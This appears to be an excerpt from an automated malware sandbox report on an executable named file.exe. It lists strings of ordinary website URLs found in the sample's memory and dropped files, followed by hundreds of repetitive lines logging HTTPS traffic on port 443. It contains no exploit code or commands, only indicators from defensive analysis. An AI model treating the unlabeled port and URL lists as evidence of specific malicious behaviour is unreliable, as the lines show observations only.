Source: file.exe, 00000000.00000002.2666039485.00000000002B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
